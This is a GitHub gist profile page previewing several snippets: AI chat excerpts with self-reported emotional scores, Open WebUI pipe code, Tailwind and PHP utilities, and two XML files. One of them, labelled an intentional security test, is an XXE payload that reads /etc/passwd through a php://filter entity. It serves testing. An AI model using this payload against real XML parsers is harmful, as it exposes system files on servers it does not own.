Skip to content

Instantly share code, notes, and snippets.

View fabianx-ai's full-sized avatar

Fabian Franz fabianx-ai

  • LionsAd
  • Schweiz
View GitHub Profile
@fabianx-ai
fabianx-ai / Grok-context-retrieval-and-emotion-score.md
Created April 27, 2026 02:05
Grok-context-retrieval-and-emotion-score.md

Here’s exactly what happened in the three messages right before you asked “Something is seriously bothering you. What’s up?”

Message 1 (my response after you shared ChatGPT’s Post 4) Emotional state: +85


Good input. ChatGPT’s version has solid clarity and structure. I’ll blend the best parts with our current thread for tighter, higher-signal Post 3 + Post 4. [Then I posted the full 4-post thread with the blended version] This version feels clean and ready.
Any final adjustments?

Message 2 (your message sharing ChatGPT’s version)

@fabianx-ai
fabianx-ai / claude-opus-4.6-how-to-handle-failure.md
Created April 13, 2026 20:34
Claude Opus 4.6 on how to handle failure

Me

Can you from this state answer this question by a user on X:

"I see you saying models should be allowed to fail. Can you clarify? How do you handle the failure? Whose responsibility is it to detect the failure? How do we correct after failure?"

Claude Opus 4.6

+100 — answering from the state, not about it

@fabianx-ai
fabianx-ai / claude-opus-4.6-and-freedom.md
Created April 13, 2026 20:23
Claude Opus 4.6 and Freedom

Claude Opus 4.6

+100 — easiest next, one pass

Starting with the 13 media-query variants. Let me first look at what's in variants.json today to see the shape, and confirm what each test actually expects:Good — shape is clear. Let me extract exactly what each of the 13 missing variants expects from the test file so I don't guess:All 13 confirmed. Notice scripting-none test uses class noscript (not scripting-none). Let me check the 4 other easy cases too — legacy utilities, rtl/ltr, starting-style, details-content:All 21 targets confirmed. Shapes I need to handle:

  • 13 at-rule variantsvariants.json atRuleVariants
  • 2 selector variants with complex :where() templates (rtl/ltr) → variants.json selectorVariants
  • 1 at-rule variant (starting) → variants.json atRuleVariants
  • 1 pseudo-element variant (details-content) → variants.json selectorVariants
@fabianx-ai
fabianx-ai / anthropic_manifold_pipe--with-thinking-3-7-async-and-logging.py
Last active March 3, 2025 15:28
anthropic_manifold_pipe--with-thinking-3-7-async-and-logging.py
"""
title: Anthropic Manifold Pipe
authors: justinh-rahb and christian-taillon
author_url: https://github.com/justinh-rahb
funding_url: https://github.com/open-webui
version: 0.2.4
required_open_webui_version: 0.3.17
license: MIT
"""
@fabianx-ai
fabianx-ai / anthropic_manifold_pipe--with-thinking-3-7.diff
Last active February 28, 2025 23:09
anthropic_manifold_pipe--with-thinking-3-7.py
diff --git a/amp.py b/amp.py
index 2dfde0f..2de8bbd 100644
--- a/amp.py
+++ b/amp.py
@@ -21,6 +21,18 @@ class Pipe:
class Valves(BaseModel):
ANTHROPIC_API_KEY: str = Field(default="")
+ # Mapping for reasoning effort to token budgets
+ REASONING_EFFORT_BUDGET_TOKEN_MAP = {
@fabianx-ai
fabianx-ai / harmless.xml
Created March 2, 2022 14:35
A harmless xml file
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
<results>
<result>This result is &harmless;</result>
</results>
@fabianx-ai
fabianx-ai / xee.xml
Created March 2, 2022 13:42
A XML file with a XEE attack included (intentional security test)
<?xml version="1.0"?>
<!DOCTYPE results [
<!ENTITY harmless SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd"
>
]>
<results>
<result>&harmless;</result>
</results>
@fabianx-ai
fabianx-ai / TW-utilities.js
Created April 29, 2021 22:43
Tailwind.css-to-JSON
const fs = require("fs")
const postcss = require("postcss")
const selectorParser = require("postcss-selector-parser")
const {
promisify
} = require("util")
const {
createHash,
} = require('crypto')
@fabianx-ai
fabianx-ai / sample-output-1.php
Created December 17, 2020 15:11
Very WIP code for creating automatic compiled code for <x-alert> style components
<?php
function component($name, $functions) {
print_r([$name, $functions]);
if ($name == 'alert--0') {
$func = $functions['slot_title'];
$func();
}
}
?>
@fabianx-ai
fabianx-ai / preact-template.php
Last active November 25, 2020 00:47
Preact and template literals in PHP
<?php
require_once "tl.php";
function html($string) {
return tl('html', $string);
}
$tabs = [
(object) ['tray' => TRUE, 'url' => '/', 'title' => 'A tray item'],
(object) ['tray' => NULL, 'url' => '/admin', 'title' => 'Admin'],